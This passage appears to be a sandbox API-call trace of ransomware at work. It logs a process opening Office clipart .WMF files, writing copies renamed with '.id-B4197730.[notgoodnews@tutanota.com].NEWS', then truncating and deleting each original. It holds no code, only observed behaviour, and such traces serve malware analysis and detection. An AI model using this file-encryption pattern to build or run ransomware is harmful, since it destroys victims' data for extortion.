lpString2="_.WMF") returned -1 [0083.355] lstrlenW (lpString=".pdf") returned 4 [0083.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.355] lstrlenW (lpString=".xls") returned 4 [0083.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.356] lstrlenW (lpString=".xlsx") returned 5 [0083.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.356] lstrlenW (lpString=".ppt") returned 4 [0083.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.356] lstrlenW (lpString=".zip") returned 4 [0083.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.356] lstrlenW (lpString=".rar") returned 4 [0083.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.356] lstrlenW (lpString=".bz2") returned 4 [0083.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.356] lstrlenW (lpString=".7z") returned 3 [0083.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.356] lstrlenW (lpString=".dbf") returned 4 [0083.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.356] lstrlenW (lpString=".1cd") returned 4 [0083.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0083.356] lstrlenW (lpString=".jpg") returned 4 [0083.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.356] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.356] lstrlenW (lpString="DD01146_.WMF") returned 12 [0083.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.357] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2796) returned 1 [0083.357] CloseHandle (hObject=0x374) returned 1 [0083.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0083.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0083.357] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.357] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0083.358] GetLastError () returned 0x0 [0083.358] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xaec, lpOverlapped=0x0) returned 1 [0083.359] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xaf0, lpOverlapped=0x0) returned 1 [0083.360] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.360] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0083.360] SetEndOfFile (hFile=0x33c) returned 1 [0083.360] CloseHandle (hObject=0x33c) returned 1 [0083.360] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.360] SetEndOfFile (hFile=0x374) returned 1 [0083.361] CloseHandle (hObject=0x374) returned 1 [0083.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.362] lstrlenW (lpString=".doc") returned 4 [0083.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.362] lstrlenW (lpString=".docx") returned 5 [0083.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.362] lstrlenW (lpString=".pdf") returned 4 [0083.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.362] lstrlenW (lpString=".xls") returned 4 [0083.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.362] lstrlenW (lpString=".xlsx") returned 5 [0083.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.362] lstrlenW (lpString=".ppt") returned 4 [0083.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.362] lstrlenW (lpString=".zip") returned 4 [0083.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.362] lstrlenW (lpString=".rar") returned 4 [0083.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.362] lstrlenW (lpString=".bz2") returned 4 [0083.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.362] lstrlenW (lpString=".7z") returned 3 [0083.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".dbf") returned 4 [0083.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".1cd") returned 4 [0083.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".jpg") returned 4 [0083.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".doc") returned 4 [0083.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString=".docx") returned 5 [0083.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.363] lstrlenW (lpString=".pdf") returned 4 [0083.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString=".xls") returned 4 [0083.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.363] lstrlenW (lpString=".xlsx") returned 5 [0083.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.363] lstrlenW (lpString=".ppt") returned 4 [0083.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".zip") returned 4 [0083.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.363] lstrlenW (lpString=".rar") returned 4 [0083.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString=".bz2") returned 4 [0083.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString=".7z") returned 3 [0083.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".dbf") returned 4 [0083.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.363] lstrlenW (lpString=".1cd") returned 4 [0083.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0083.811] lstrlenW (lpString=".jpg") returned 4 [0083.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.812] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.812] lstrlenW (lpString="DD01169_.WMF") returned 12 [0083.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.730] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2020) returned 1 [0084.730] CloseHandle (hObject=0x378) returned 1 [0084.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0084.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.730] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.730] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.731] GetLastError () returned 0x0 [0084.731] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0084.732] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0084.733] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0084.733] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0084.733] SetEndOfFile (hFile=0x39c) returned 1 [0084.733] CloseHandle (hObject=0x39c) returned 1 [0084.733] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.734] SetEndOfFile (hFile=0x378) returned 1 [0084.734] CloseHandle (hObject=0x378) returned 1 [0084.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0084.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.735] lstrlenW (lpString=".doc") returned 4 [0084.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString=".docx") returned 5 [0084.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.735] lstrlenW (lpString=".pdf") returned 4 [0084.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString=".xls") returned 4 [0084.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.735] lstrlenW (lpString=".xlsx") returned 5 [0084.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.735] lstrlenW (lpString=".ppt") returned 4 [0084.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.735] lstrlenW (lpString=".zip") returned 4 [0084.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.735] lstrlenW (lpString=".rar") returned 4 [0084.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString=".bz2") returned 4 [0084.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString=".7z") returned 3 [0084.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.735] lstrlenW (lpString=".dbf") returned 4 [0084.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.735] lstrlenW (lpString=".1cd") returned 4 [0084.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".jpg") returned 4 [0084.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".doc") returned 4 [0084.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString=".docx") returned 5 [0084.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.736] lstrlenW (lpString=".pdf") returned 4 [0084.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString=".xls") returned 4 [0084.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.736] lstrlenW (lpString=".xlsx") returned 5 [0084.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.736] lstrlenW (lpString=".ppt") returned 4 [0084.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".zip") returned 4 [0084.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.736] lstrlenW (lpString=".rar") returned 4 [0084.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString=".bz2") returned 4 [0084.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString=".7z") returned 3 [0084.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".dbf") returned 4 [0084.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".1cd") returned 4 [0084.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0084.736] lstrlenW (lpString=".jpg") returned 4 [0084.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.737] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.737] lstrlenW (lpString="DD01182_.WMF") returned 12 [0084.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.737] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2996) returned 1 [0084.737] CloseHandle (hObject=0x378) returned 1 [0084.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0084.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0084.737] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.737] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.738] GetLastError () returned 0x0 [0084.738] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xbb4, lpOverlapped=0x0) returned 1 [0084.743] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xbc0, lpOverlapped=0x0) returned 1 [0084.744] ReadFile (in: hFile=0x378, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0084.744] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0084.744] SetEndOfFile (hFile=0x39c) returned 1 [0084.744] CloseHandle (hObject=0x39c) returned 1 [0084.744] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0084.744] SetEndOfFile (hFile=0x378) returned 1 [0084.745] CloseHandle (hObject=0x378) returned 1 [0084.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0084.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.749] lstrlenW (lpString=".doc") returned 4 [0084.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.749] lstrlenW (lpString=".docx") returned 5 [0084.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.749] lstrlenW (lpString=".pdf") returned 4 [0084.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.749] lstrlenW (lpString=".xls") returned 4 [0084.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.749] lstrlenW (lpString=".xlsx") returned 5 [0084.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.749] lstrlenW (lpString=".ppt") returned 4 [0084.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.749] lstrlenW (lpString=".zip") returned 4 [0084.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.749] lstrlenW (lpString=".rar") returned 4 [0084.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.749] lstrlenW (lpString=".bz2") returned 4 [0084.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.749] lstrlenW (lpString=".7z") returned 3 [0084.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".dbf") returned 4 [0084.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".1cd") returned 4 [0084.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".jpg") returned 4 [0084.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0084.750] lstrlenW (lpString=".doc") returned 4 [0084.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString=".docx") returned 5 [0084.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.750] lstrlenW (lpString=".pdf") returned 4 [0084.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.750] lstrlenW (lpString=".xls") returned 4 [0084.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.750] lstrlenW (lpString=".xlsx") returned 